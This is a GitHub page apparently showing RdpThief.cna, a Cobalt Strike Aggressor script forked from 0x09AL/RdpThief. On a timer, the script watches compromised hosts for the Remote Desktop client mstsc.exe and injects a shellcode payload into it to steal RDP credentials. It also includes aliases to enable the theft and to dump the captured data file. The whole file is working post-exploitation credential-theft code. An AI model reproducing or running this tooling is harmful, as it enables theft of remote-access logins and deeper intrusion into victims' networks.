forked from 0x09AL/RdpThief
-
Notifications
You must be signed in to change notification settings - Fork 0
/
RdpThief.cna
53 lines (32 loc) · 772 Bytes
/
RdpThief.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
@beacons = @();
@pids = @();
on heartbeat_5s{
foreach $index => $beaconid (@beacons)
{
bps($beaconid,&handleProcess);
}
}
sub handleProcess{
$processList = $2;
$index = indexOf($processList, "mstsc.exe", 0) + 9;
if($index > 9){
$temp = substr($processList,$index,-1);
$pid = split("\t",$temp)[2];
if ($pid !in @pids){
add(@pids,$pid,0);
blog($1,"Injecting into mstsc.exe with PID: $pid");
bshinject($1, $pid , "x64" ,script_resource("RdpThief_x64.tmp"));
}
}
}
alias rdpthief_enable {
blog($1, "RdpThief enabled \n");
add(@beacons,$1,0);
}
alias rdpthief_disable {
blog($1, "Disabling RdpThief");
remove(@beacons,$1);
}
alias rdpthief_dump {
bshell($1,"type %temp%\\data.bin")
}